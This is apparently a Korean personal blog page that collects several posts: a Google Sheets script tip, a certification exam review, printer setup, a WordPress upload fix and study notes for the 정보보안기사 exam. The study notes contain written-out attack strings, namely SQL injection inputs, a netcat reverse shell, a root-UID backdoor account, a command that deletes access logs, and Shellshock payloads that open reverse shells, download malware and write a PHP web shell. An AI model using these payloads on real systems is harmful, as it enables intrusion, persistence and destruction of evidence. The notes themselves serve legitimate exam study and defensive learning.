SMALL

구글 스프레드시트 마지막 행으로 자동 이동 설정 방법

 

구글 스프레드시트를 사용하다보면 매주, 매달 데이터 열이 추가되면서

최근 데이터를 확인하기 위해 아래까지 스크로를 내려본 경험이 있다면,

그러지 말고 아래와 같이 구글 스프레드시크 스크립트 편집기를 사용해서 쓰기 바랍니다.


170번열까지  데이터가 적혀있으면 내용을 확인하기 위해서 스크롤을 내릴필요 없이 아래의 코드를 입력하면 됩니다.

코드
function onOpen() {

var spreadsheet = SpreadsheetApp.getActiveSpreadsheet();
var sheet = spreadsheet.getActiveSheet();
sheet.setActiveSelection("A" + sheet.getLastRow());
  
}
구글 스프레드시트 스크립트 편집기 열기
  • 구글 스프레드시트 상단 메뉴바에서 도구 텝을 선택합니다.
  • 스크립트 편집기를 클릭하면 스크립트 편집기 화면에 새 탭에 열립니다.

구글 스프레드시트 스크립트 편집기를 열고 위의 코드를 입력 후 저장 합니다.

1번 열에서 20초 정도 기다리고 있으면 자동으로 마지막 내용이 작성된 데이터 까지 자동으로 커서가 이동되는 것을 확인 할 수 있습니다.

 

LIST
SMALL

17회 정보보안기사 시험 후기

우선 최근 기사 합격률이다. 

기사 합격률을 보면, 100명중에 10,8,7명 이하로 합격을 하기에 많이 어렵고, 귀한 시험이라고 느낀다.

그렇기에, 항상 시험을 보면 아쉬운 점수로 불합격을 하게 되어 계속 도전하게 만들고,

조금만 운이 좋다면 15문제중 아는 문제가 나왔을시 합격 범위에 들 수 있다고 생각하게 만든다.


그러나 17회 정보보안기사 실기 시험은 할 말을 잃을 정도로(화가 날 정도로),

문제의 난이도가 높았다고?(아니 엄청나게 지저분 하다고) 이야기할 수 있다.

우선 처음보는 단순 용어 위주와 특정된 분야에 편중된 문제로 출제가 되어 공부한 사람이나, 공부 안한사람이나 변별력이 전혀 없게 출제가 되었다.

단답형 문제중 하나는 MITRE의 보안 평가 프레임 워크를 묻는 문제가 나왔는데 어떻게 MITRE 회사의 사이버 킬체인을 알 수있다고 생각하고 문제를 출제하였는지 이해가 되지 않았다.

개인적으로는 15,16 회 시험을 도전하였기에 알기사 정보보안기사 실기책을  몇번이고 정리하여 외우고, 동영상강의를 듣고, 이해를 반복하여기에 책의 내용을 누구보다 잘 알고 있어 자신이 있었음에도 불구하고,

요번 17회 시험은 개인정보보호 관련 서술 및 단답형 법률 문제로 인해서 많은 수험생들이 법률시험인줄 알고 보안 공부의 의욕까지 차단된는 것이 아닐까 걱정이 된다.


개인적으로 17회 합격률은 3~5% 정도로 예상이 된다. 요번 시험일 마치고 나면 수험생들이 가답안을 올려 서로 공유하지만. 아무도 카페에 가답안을 안올리는 현실이 요번 합격률을 예상한다.

 KISA는 요번 17회 합격률을 확인하고 반성한 다음, 공부한 사람이나 공부안한 사람이나 동일한 점수가 나오게 만드는 시험은 문제가 있다고 생각하고, 다음 회차 부터는 출제자 변경 및 변별력이 있도록 많은 신경을 써야 된다고 생각한다.

요번 결과가 확인이 되면 KISA에 문의를 해볼생각이다.

LIST
SMALL

교세라 프린터 (TASKalfa 4052ci) 페키지 설정 방법.

(다른 모델도 적용 가능한듯)

교세라 프린터가 같은 허브 OR 스위치에 연결되어 있으면 자동 설치를 통해서 쉽게 설치 가능하지만, 

L2,L3 스위치에서 한번이라도 업링크를 타고 라우팅이 되면 프린터 MAC 주소와, IP 주소가 검색이 안되는 문제로 인해서 프린터 검색이 안되서 자동설치가 어려운 부분이 있다. 

페키지 설정 방법을 통해서 미리 장치 명과, IP를 등록하여 페키지 파일을 생성하면 사용자들은 단 한번의 클릭으로 다른 설정없이 프린터 사용이 가능하다. 

TIP. ping을 통해서 프린터가 네트워크 가 되는 환경인지 확인이 되어야 적용 가능하다.


1. 아래 링크를 통하여 교세라 프린터 드라이버를 다운 받을 수 있다.

https://www.kyoceradocumentsolutions.com/kr/download/index_ko.html

 

Download Center Korea | 한국 | KYOCERA Document Solutions Asia

본 소프트웨어의 사용 및 설치 전에 이 사용권 계약서를 잘 읽어보시기 바랍니다.본 소프트웨어를 사용 또는 설치함으로써 사용자는 본 사용권 약관 및 조건에 동의하는 것으로 간주됩니다. 본

www.kyoceradocumentsolutions.com

2. 다운로드를 받고 압축을 풀면 아래와 같은 폴더와 파일이 나오고 Setup 버튼을 누르고 설치를 진행한다.

3. 맞춤형 설치를 클릭한다.

4.맞춤형 장치를 추가하세요 클릭

5. 장치 모델을 선택하여 주세요.

6.포트 추가를 눌러주세요.

7. 다음을 클릭하고 프린터 IP 주소를 입력하여 주세요. 포트 이름은 자동으로 입력도 되고 이름 변경도 가능합니다.

8. 다음 버튼을 클릭합니다.

9. 마침 버튼을 클릭합니다.

10. 확인 버튼을 클릭합니다. 

11. 설치 옆 패키지 클릭(유틸리티를 클릭해서 포트설정등을 포함해서 페키지 설정 가능)

12. 설치 파일 생성. 완료 ~

위의 파일만 클릭하면 알아서 드라이브에 IP 가 설정되어 있어 쉽게 사용이 가능~~

LIST
SMALL

알기사 PART 03 어플리케이션 요점 정리

  1. DNS
    1. Zone 파일 개념
      1. ZONE 관리하는 도메인 영역
      2. ZONE  FILE  관리 도메인에 대한 정보를 담고 있는 파일
    2. 질의 유형(암기)
      1. ANY : 도메인에 대한 모든 레코드 질의 (DRDOS로 악용)
      2. TXT : SPF 발송자 메일서버 인증 (DRDOS로 악용)
      3. AXFR : 존 버전에 상관없이 무조건 존 전송 요청
        1. EX) dig@192.168.100.10 dochi.com axfr
      4. IXFR : 존 버전을 비교하여 상위 버전일 경우 존 전송 요청 ( I = increase)
        1. EX) dig@192.168.100.10 dochi.com ixfr=2017033101
    3. dig 명령어
      1. dig@[네임서버] 도메인 [쿼리유형] [쿼리옵션]
      2. 쿼리 옵션
        1. +norecurse :authoritative 네임서버에 반복적 질의를 수행하여 정상 응답 여부 점검
        2. +tcp : 53/tcp 허용 여부를 점검
        3. +trace : 계층적 위임설정 상태 점검, 최상위 루트 도메인부터 최종 질의대상 도메인까지 계층 구조에 따른 질의 수행
    4. DNS Spoofing 공격
      1. DNS 서버의 Cache 정보를 조작하여 희생자가 의도하지 않은 주소로 접속하게 만드는 공격
      2. UDP 프로토콜의 비연결 특성 취약점을 이용한 것
      3. 식벽하기 위해서는 Transaction ID, 출발지 목적지 주소 필요
      4. 대응책
        1. named 대몬을 최신버전으로 패치
        2. 스니핑을 기본으로 하기 때문에 스니핑을 탐지 및 차단
        3. 중요한 host는 hosts 파일에 직접 등록
    5. DNS Cache Poisoning 공격
      1. DNS 서버 자체를 공격한다.
      2. 다수의 조작된 응답 공격대상 DNS 서버로 전송
      3. 대응책
        1. DNS를 최신버전으로 패치
        2. 사용자를 제한하여 허용하도록 설정
        3. DNSSEC을 사용
    6. 재귀적 질의
      1. named.conf
        1. allow-recursion {none;};
        2. allow-recursion{192.168.110.1;192.168.100.0/24}
        3. allow-transfer {none;};
        4. .allow-transfer{192.168.100.2;};
  2. SQL Injection
    1. From SQL Injection
      1. 특수문자(',") 입력시 에러메시지 발생여부 확인으로 취약한지 파악 가능
      2. 'or 1=1# , 'or '1'=1#, 'or 'a' = 'a'# 등 조건절을 무조건 참으로 만드는 입력값을 삽입
      3. 대응책
        1. php.ini 파일의 "magic_quote_gpc=on
        2. \(back slash)를 통한 익스케이프
        3. mysql_real_escape_sting() 함수 사용
        4. SQL Injection을 수행할 수 있는 블랙리스트 생성
        5. 선처리 질의문
    2. Union SQL Injection
      1. 한 쿼리의 결과를 다른 쿼리의 결과에 결함하여 공격하는 기법
      2. union Select 를 파악하기 위해서 선행 select와 후행 select문의 컬럼 개수가 일치 해야한다.
      3. order by1 #을 통한 에러 메시지로 컬럼 개수 파악이 가능하다.
      4. 중요 코드 'union select 'admin','admin','admin'#
    3. Stored Procedure SQL Injection
      1. SQL_Serverdml xp_dirtree 확장 프로시저 실행
      2. index.php? no=123; EXEC master..xp_dirtree 'C:/'
      3. ; (세미콜론) 문자를 통해 명령어를 연속 수행
    4. Mass SQL Injection
      1. 대량의 DB 값이 변조
      2. Mass SQL Injection 이 발생하여 테이블의 문자형 컬럼 데이터 모두에 악성코드의 유포지 정보를 삽입
      3. 대응법
        1. 특수문자 필터링(블랙리스트 등록)
        2. 입력되는 문자열의 길이 제한
        3. MS_SQL의 경우 악용되는 프로시저 제거
        4. 웹 어플리케이션 데이터베이스 사용자 권한 제한
        5. 선처리 질의문
    5. Error-Based SQL Injection
      1. 에러 값을 기반으로 한 단계씩 점진적으로 DB 정보를 획득하여 공격하는 기법
    6. Bilnd SQL Injection
      1. 쿼리 결과의 참 거짓을 통해 의도하지 않은 SQL문을 실행하여 공격하는 기법
      2. 중요 코드 'and 1 =1 #(참)' and 1=2#(거짓)
      3. information_schema :DB에 대한 메타데이터를 제공하는 스키마
      4. information_schema.table : DB에 있는 모든 테이블 정보를 가지고 있는 테이블
      5. information_schema.columns : 데이터베이스에 있는 모든 테이블의 컬럼정보를 가지고 있는 테이블
      6. limit, substr 을 이용하여 컬럼명 문자를 하나씩 순서대로 추출
    7. 크로스 사이트 스크립트 (XSS)
      1. 게시판 같은 곳에서 사용자 입력값에 대한 필터링이 제대로 이루어지지 않을 경우, 악의적인 스크립트 삽입 공격
      2. Stored XSS
        1. 악성 스크립트가 저장된 게시판의 자료를 요청하여 악성코드 스크립트가 동작하는 방식
        2. iframe 테그
        3. 대응법
          1. htmlspecialchars()
          2. <script> alert()</script>
      3. Reflected XSS (반사형 XSS)
        1. 악성 스크립트가 포함된 요청 정보를 처리하는 과정에서 악성 스크립트가 포함된 응답 페이지가 생성되어 공격하는 방식
      4. DOM based XSS
        1. 응답 페이지에 관계없이 웹브라우저에서 발생한다. 단, 응답 페이지의 자바 스크립트가 DOM 객체를 통해 요청 URL의 파라미터가 참조하면서 악성 스크립트가 동작하게 된다.
        2. 대응법
          1. 사용자의 입력값에 대한 검증은 클라이언트가 아닌 서버에서 해야된다.
          2. HTML 특수 문자 코드로 입력되는 값들은 이스케이프 처리 한다.
          3. HTML 테그를 허용해야 하는 것만 화이트 리스트 정책을 적용한다.
      5. 크로스 사이트 요청 변조 (CSRF)
        1. 비정상적인 경로와 정상적인 경로를 구분하지 못하게 만들어서 게시판 설정 변경, 회원 정보 변경등의 문제를 만드는 공격
        2. <img src ="조작된 요청">
        3. 대응책
          1. HTTP 요청 내에 예측할 수 없는 임의의 토큰을 추가하여 정상적인 요청과 비정상적인 요청을 판별하도록 한다.
          2. 중요한 기능에 대해서는 사용자 세션검증 또는 재인증을 받도록 한다.
      6. 운영체제 명령 실행
        1. ;,&&,||, 등 2개 이상의 명령어를 연속해서 실행하는 명령어들
        2. 리눅스 URL 파라미터에 ls, cat 등의 명령어 삽입
        3. 윈도우 URL 파라미터에 dir, config 등의 명령어 삽입
        4. 대응법
          1. 운영체제 명령어를 실행할 수 있는 문자가 포함되어 있는지를 필터링
          2. 화이트 리스트 명령어
      7. 파일 업로드 취약점
        1. 파일 업로드 기능으 존재하여 웹쉘을 업로드 하여 실행 하는 취약점
        2. 대응법
          1. 확장자에 대한 적절한 필터링
          2. 업로드 파일을 저장하기 위한 전용 디렉토리를 별도 생성
      8. 파일 다운로드 취약점
        1. 파일 다운로드시 파일의 경로 및 파일명을 파라미터로 받아 처리하는 경우 값을 조작 하여 다운 받을 수 있다. 
        2. 디렉터리 트레버셜 : URL 주소에 ../ 상위 디렉터리로 이동 후 특정  파일을 호출하는 방식
      9. 파입 삽입 취약점
        1. include(), require() 함수
        2. 대응법
          1. php.ini allow.url.fopen =off
      10. 약한 문자열 강도 취약점(디션어리 공격)
      11. 정보 누출 취약점
        1. httpd.conf Error Document 페이지 설정
        2. php.ini display_error = off
      12. HTTP 응답 분할 취약점
        1. HTTP 응답 헤더에 포함 되어 있는 클라이언트에 다시 전달될 때, 개행문자인 CRLF 포함되면 응 답이 2개로 분리 가능
        2. 대응책
          1. 클라이언트 요청 파라미터값이 서버 프로그램에서 쿠키로 사용 되거나, 리다이렉션을 위해 Location 응답 헤더로 사용 되거나, 기타 응답 헤더 설정에 사용될 경우 적절한 필터링을 통해 차단
          2. 중요 정보를 보여주는 페이지는 케쉬를 사용하지 못하도록 설정한다.
      13. 디렉터리 인덱싱/ 리스팅 취약점
        1. 응답 메시지 <title> index of /home/board</title>
        2. httpd.conf options-indexes FllowSynLink
        3. tomcat(web.xml) listing 파라미터를 false 로 설정
      14. 웹 메소드 취약점
        1. <LimitExcept GET POST>
          1. order allow, deny
          2. deny from all
        2. </LimitExcept>
      15. 관리자 페이지 노출 취약점
        1. 관리자 페이지에 대한 접근 제어 설정
          1. <Directory "/var/www/html/admin">
            1. order Deny,Allow
            2. deny from all
            3. Allow from 192.168.159.153
          2. </Directory>
      16. 검색엔진 정보 노출 취약점
        1. robots.txt
      17. 기타 웹서버 보안 대책
        1. 심볼릭 링크 사용 설정 제거
          1. option -indexes -FollwsymLinks
        2. 해더 정보 최소화
          1. ServerTokens
            1. proc
            2. min
            3. os
            4. full
        3. 웹서버 설정파일 주요 내용
          1. ServerRoot "/etc/httpd"
          2. pidFile "run/httpd/pid" 웹서버가 기동될때 자신의 PID를 기록한 파일의 위치 설정
      18. 웹로그 분석
        1. 클라이언트가 웹서버에 접속하면 웹서버가 응답한 내용은 엑세스 로그(access log) 파일에 기록,
        2. 오류 응답은(error log)
      19. 보안서버
        1. 정보통신망에서 송,수신 하는 정보를 암호화하여 전송하는 웹서버
        2. 취약한 암호화 통신 방법으로 알려진 SSL2.0, SSL3.0 프로토콜을 비활성화
          1. ssl.conf 파일 설정
            1. SSLProtocal all -SSLv2 -SSLv3
            2. SSLProtocal -all +TLSv1 +TLSv1.1 +TLSv1.2
          2. 취약한 암호 방식 제거
            1. ssl.conf
              1. SSLCiperSuite ALL -> 취약한 설정
              2. SSLCiperSuite ALL :!aNULL:!EXP:!ADH:!DES:!RC4:!MD5

 

 

 

 

 

 

 

LIST
SMALL

알기사 PART 04 침해사고 분석 및 대응

1)snort

1. ->, <-> 방향지시자는 있으나 <- 방향지시자는 없음에 주의

2.Action 유형

  1. alert: 탐지모드 가장 많이 사용
  2. drop: 패킷을 차단하고 로그에 남긴다 (iptables 와의 차이)
  3. reject: drop rule과  동일하게 패킷을 차단하고 로그에 남긴 후 TCP일 경우 TCP Reset을 전송하고, UDP의 경우 ICMP port unreachable 메시지를 전송한다.

3.패턴메치 사용이유

  1. offset -> depth
  2. distance -> within
  3. 성능향상과 오탐을 줄여주는 장점

4. alert tcp any any -> any any (msg:"요요요요"; content:"1234";offset:2;)

5. 룰 바디 설정 : Event Threshold (이벤트 제한) 관련 옵션

  1. threshold type limit, track by_src, count 2, seconds 10 : 출발지 IP를 기준으로 매 10초 동안 2번째 이벤트 까지 action 수행
  2. threshold type threshold, track by_src, count10, seconds 5 : 출발지 IP를 기준으로 매 5초 마다 10번째 이벤트 마다 action 수행
  3. threshold type both, track by_src, count10, seconds 1 : 출발지 IP를 기준으로 1초 동안 10번째 이벤트시

6.정규표현식 prce

  1. ^문자열의 시작을 의미
  2. $ 문자열의 끝을 의미

7. 파일 속성 변경후 재설치

  1. lsattr /bin/ps /bin/netstat
  2. chattr -ia

1.리버스 쉘(Reverse Shell)

  1. 바인드 쉘 : 클라이언트 -> 서버
  2. 리버스 쉘 : 서버 -> 클라이언트
    1. netcat 명령어
    2. 리스닝 nc -lvp 80
    3. 공격자 nc 10.10.10.80 -e /bin/bash
  3. useradd 명령어 옵션
    1. -o uid 중복을 허용하는 옵션으로 해당 옵션이 없으면 root 계정의 uid와 중복되기 때문에 계정 생성에 실패한다.
    2. -d 홈디렉터리를 지정
    3. useradd -o -u 0 -g 0 -d /root
  4. crontab
    1. 분,시,일,월,요일

2.루트킷 침해 사고

  1. 공격자는 리버스 쉘을 이용하여 공격 행위 은닉을 위한 루트킷을 웹서버에 설치
  2. 익스플로잇 : 소프트웨어나 하드웨어의 버그 또는 취약점을 이용하여 공격자가 의도한 동작이나 명령어를 실행하도록 하는 코드 또는 그러한 행위
  3. 버퍼 오버플로우 익스플로잇
    1. 스택의 버퍼를 NOP(no operation) 0x90 (아무런 동작업이 다음 명령어로 넘어간다) 로 채운다.
  4. 공격 시나리오
    1. 공격자는 사이트의 웹서버 취약점 스캔을 통해 Tomcat 웹서버의 관리자 페이지가 외부에 노출, 초기 아이디와 페스워드 사용
    2. 리버스 쉘을 이용하기 위해 루트킷을 설치하고 지속적인 접근을 위해 cron 테이블에 등록
    3. 주기적 공격 수행
  5. 분석 시나리오
    1. 관리자는 로그 분석을 통해 취약점 스캔 발생 파악, 관리자 페이지가 정상 200 로그인된 사실 을 파악
    2. 관리자는 공격자가 관리 페이지의 업로드 기능을 이용하여 악성코드를 웹서버로 유포했을 가능성이 있다고 판단하여 루트킷 탐지 도구로 점검
      1. chkrootkit -q
      2. find / -type f -mtime -10
    3. 관리자는 변조된 명령어를 재설치 하기 위해 rpm 명령어를 이용해 패키지 재설치 중 문제점을 발견
      1. lsattr i 속성이 있으면 삭제가 안됨
      2. chattr 명령을 통해 i 속성을 제거
    4. 관리자는 cron에 설정이 되어 있는 것을 파악
    5. 관리자는 현재 공격자가 리버스 쉘을 연결하고 있는지 여부를 확인하기 위해 netstat 명령을 실행한 결과 현재 공격자와 bash 쉘 이 연결되어 있는 것을 확인
    6. lsof 프로그램을 이용한 정보 수집

3. Drive By Download 침해 시나리오

  1. 공격시나리오
    1. 공격자는 경유지와 중계지로 사용할 웹서버를 확보하기 위해 여러 사이트를 대상으로 취약점 스캔을 하고, 웹쉘 및 악성 자바스크립드를 업로드
    2. 공격자는 웹쉘을 통해 알기사 웹서버의 기본 페이지와 쇼핑몰 웹서버의 기본 페이지를 변조하여 악성 스크립트 삽입 구문을 추가한다.
    3. 공격자는  웹서버에 운영체제 명령 실행 취약점이 존재한다는 사실을 확인하고 자신의 접근 흔적을 지우기 위해 웹서버의 액세스 로그 삭제를 시도한다.
      1. 127.0.0.1 ; rm -rf /var/log/httpd/access_log
    4. 공격자는 유포지에 접속한 사용자의 IE 브라우저 취약점을 이용하여 익스플로잇 수행, 리버스 쉘을 획득한다.
    5. 공격자는 사이트의 기본 페이지에 삽입한 자바스크립트 파일을 통해 사용자 쿠키 정보를 탈취하여 공격자 웹서버에 저장
  2. 분석시나리오
    1. 알기사 사이트 보안 담당자는 KISA로 부터 사이트가 악성코드 경유지 중꼐지로 사용되고 있다는 연락을 받음
    2. 보안 담당자는 악성 스크립트로 의심되는 신규 자바스크립트 파일을 분석, 다른 사이트의 iframe 태그가 포함된것을 확인
    3. 분석 결과 사용자 쿠키 정보를 탈취하는 코드 확인
    4. 기본 페이지가 변조되어 스크립트가 삽입된것을 확인
    5. 보안담당자는 Drive By Download 공격을 위한 악성코드 경유지로 사용된것으로 파악

난독화

  1. eval() 함수는 인자로 받은 문자열이 자바스크립트 코드가 맞는지 검증한 후 이를 실행하는 함수로 악성 스크립트에 자주 등장하는 함수 이다.
  2. unescape() 16진수로 %인코딩된 문자열을 디코딩

웹쉘

  1. 웹쉘은 웹서버 내 임의의 시스템 명령을  실행할 수 있는 서버 스크립트 파일을 말하며, JSP,PHP,ASP등오로 만들어 진다

디페이스 공격

  1. 웹사이트 화면을 해커가 원하는 화면으로 바꾸고 해킹 성공을 알리는 공격으로 시각적으로 자신의 존재감을 알리고 정치적인 메시지나 자신의 실력을 과시하는 목적으로 사용

보안솔루션 종류 및 특징

  1. 웹방화벽
    1. .KISA -> 캐슬
    2. ATRONIX -> Webnight
    3. TrustWave -> ModSecurity
  2. NAC
    1. PacketFence
    2. FreeNAC
  3. 네트워크 /단말 정보유출방지(DLP)
    1. 네트워크 DLP
    2. 단말 DLP 
  4. 전사적 통합보안관리 시스템(ESM)
    1. 다양해지는 보안 위협으로 인해 단일 보안장비로는 위협에 대응하기 어려워 여러 보안장비를 도입하게 되고 그에 따른 관리의 어려움이 발생함에 따라 다양한 보안장비와의 로그와 이벤트 정보를 통합해서 관리하지 위한 목적으로 만들어짐

주요취약점

  1. shellshock
    1. 환경변수의 함수 선언문 뒤에 임의의 명령어를 삽입할 경우 환경변수에 설정된 함수 선언 시 함수 선언의 끝을 인지하지 못하고 삽입한 명령어까지 실행하는 취약점
    2. GNU Bash() { 시작하는 함수 선언 문자에서 취약점이 발생된다.
    3. User-Agent;() { : ; } ; /bin/bash > /dev/tcp/10.10.10.10/8081 < &1
      1. /dev/tcp 는 bash에서 지원하는 특수한 장치 파일, TCP 소켓을 생성
      2. TCP 클라이언트 소켓으로 출력 리다이렉션을 함 ,  bash의 표준출력이 TCP 클라이언트 소캣으로 재지정
    4. User-Agent:() { : ; } /usr/bin/nc 10.10.10.10 8081 -e /bin/sh
    5. 악성코드 다운로드 유형
      1. Accept-Encoding: (){ ; : }; /bin/bash -c "/usr/bin/wgent -O /tmp/xyz http://10.10.10.10/malware.; /bin/chmod777 /tmp/xyz; /bin/rm -rf /tmp/xyz"
    6. 웹쉘 생성 유형
      1. User-Agent : () { ; : }; echo "<? \$cmd=\$_REQUEST[\"cmd\"]; if(\$cmd!=\"\"){print shell_exec(\$cmd);} ? >" >..html/x.php
        1. x.php 라는 파일로 저장하도록 하고 있다.
        2. x.php 파일은 php 구문으로 만들어진 웹쉘 파일로 외부에서 공격자가 cmd 파라미터에 명령어를 담아서 x.php를 요청할 경우 cmd 파라미터에 값이 있으면 shell_exec() 함수를 이용하여 명령어를 실행
      2. 대응방안
        1. 취약한 버전의 Bash를 사용하면 업데이트
        2. CGI 서비스의 사용 유무를 확인해서 안쓰면 사용 중지
        3. 네트워크 보안 장비 공격에서 시그니처를 등록 차단
  2. 하트블리드 취약점
    1. 하트블리드 취약점은 통신 구간 암호화를 위해 많이 사용하는 OpenSSL 라이브러리의 하트비트 확장 모듈읠 버그로 인하여 발생한 취약점으로 서버에 저장된 주요 메모리의 데이터가 노출되는 취약점
    2. 주요내용
      1. 공격자는 하트비트 패킷 헤더에서 페이로드 길이 필드를 조작하여 서버에 전송
      2. 서버는 공격자가 요청한 길이 만큼 메모리에서 데이터를 추출하여 공격자에게 응답
    3. 대응방안
      1. 취약점이 존재하지 않는 OpenSSL로 업데이트
      2. 보안장비 업데이트 
      3. 서비스 관리 측면 대응 방안(재발급)
  3. 프리크 (2015년 2월)
    1. MS사에서 SSL을 통해 강제로 취약한 RSA 로 다운그레이드 시킬 수 있는 취약점
    2. RSA_EXPORT
  4. 로그잼 (2015년 9월)
    1. 서버간의 TLS 통신을 다운 그레이드 시킬 수 있다.
    2. 대응방안
      1. 클라이언트는 최신의 브라우저를 사용한다.
      2. 서버는 명시적으로 EXPORT 사용하지 않는다.
      3. 2048 비트의 타원 곡선 디피 헬만을 사용한다.
  5. 푸들(2014년 10월)
    1. SSL/TLS 협상 시 SSL 3.0 버전
  6. Drown(2015년 3월)
    1. SSLv2.0 취약점을 악용한 교차 프로토콜 공격
    2. SSLv2.0을 사용하지 않도록
    3. OpenSSL를 최신 버전으로 업데이트
  7. NTP 분산 서비스 거부 취약점
    1. monlist
    2. disable monitor ntpd.conf
LIST
SMALL

스팸메일 차단 정책

1) SPF (Sender Policy Framework)

(가) 개요

1.메일서버등록제 (SPF)는 메일서버 정보를 사전에 해당 도메인 DNS에 공개 등록함으로써 수신자로 하여금 이메일에 표시된 발송자 정보가 실제 메일서버의 정보와 일치하는지를 확인할 수 있도록 하는 인증 기술이다.

2.대다수 스팸 발송자가 자신의 신원을 감추기 위하여 발송자 주소나 전송 경로를 허위로 표기하거나 변경하는 경우가 많다는 점에 착안

(나) 동작 방식

1.발신자 : 자신의 메일서버 정보와 정책을 나타내는 SPF 레코드를 해당 DNS의 TXT레코드에 등록한다.

2.수신자 : 이메일 수신시 발송자의 DNS에 등록된 SPF 레코드를 확인하여 해당 이메일에 표시된 발송 IP와 대조하고 그 결과값에 따라 수신여부를 결정한다.(메일서버나 스팸차단솔루션에 SPF 인증 기능이 설치되어 있어야 한다)

2)DomainKeys

1.yahoo 에서 처음 개발한 기술로 메일 헤더를 암호화하여 해시값을 생성한다.

2.해시값은 이메일 헤더에 기록된다

3.이메일을 받은 서버에서는 이를 검증하여 변조 유무를 확인한다.

3)DKIM(DomainKeys Identified Mail)

1.yahoo의 DomainKeys와 시스코의 IIM(Internet Identified Mail)이 결함된 기술이다.

2.DKIM은 공개키 암호기술에 의존한다.

3.발신 이메일에 디지털 서명을 포함하여 수신자는 송신자의 진위를 알 수 있다.

4.DomainKeys와 다르게 DKIM은 전송과정에서 변화하는 정보에 대해서만 디지털 서명작업을 수행한다.

LIST
SMALL

HTTP 주요 상태 코드

응답 상태코드 설명
1XX : infomation (정보) 100 Continue(클라이언트로부터 일부 요청을 받았으며 나머지 정보를 계속 요청함)
2XX : Success (성공) 200 OK (요청이 성공적으로 수행되었음)
201 Created (PUT 메소드에 의해 원격지 서버에 파일 생성됨)
202 Accepted (웹서버가 명령 수신함)
3XX : Redirection (재지정 응답 코드, 요청 자원의 위치가 재지정 되었음을 의미) 301 Moved Permanently (요청 자원의 위치가 영구적으로 변경됨, Location 헤더 필드를 통해 변경된 URL 응답)
302 Found (요청 자원의 위치가 임시적으로 변경됨, Location 헤더 필드를 통해 변경된 URL 응답)
304 Not Modified (요청한 자원이 변경되지 않았으므로 클라이언트 로컬 캐시에 저장된 자원을 이용하라는 의미)
4XX : Client Error (클라이언트 오류 응답 코드) 400 Bad Request (요청 메시지 문법 오류)
401 Unauthorized (요청한 자원에 대한 인가 필요, 요청 자원을 실행하는데 필요한 적절한 권한이 없음을 의미한다.)
403 Forbidden (요청한 자원에 대한 접근 차단)
404 Not Found (요청한 자원이 존재하지 않음)
5XX : Server Error (서버 오류 응답 코드) 505 Internal Server Error (내부 서버 오류)

<404 error 예시 이미지>

LIST
SMALL

워드프레스 미디어 추가에 PDF  파일을 업로드 HTTP 오류 관련 문의를 받았다. 

관련 URL을 확인하여 테스트 하니 아래 이미지와 같은 오류가 발생하였다.

우선 PHP 버전 업그레이드로 인한 문법 오류가 아닌가 생각 했었지만 그 문제는 아니였다.

그이유로는 사이즈 낮은 이미지 파일들은 업로드가 잘 되었기 때문이다.

그럼 php설정은 이상이 없으니.

웹방화벽을 확인하였고, 

서버의 웹방화벽에서 정보보안의 일한으로 업로드 파일 사이즈 제안 200MB이상 설정이 되어있었다.

관련 파일 사이즈 제안 설정을 500MB로 상향 시키고 나서야 문제가 해결 되었다.

LIST

+ Recent posts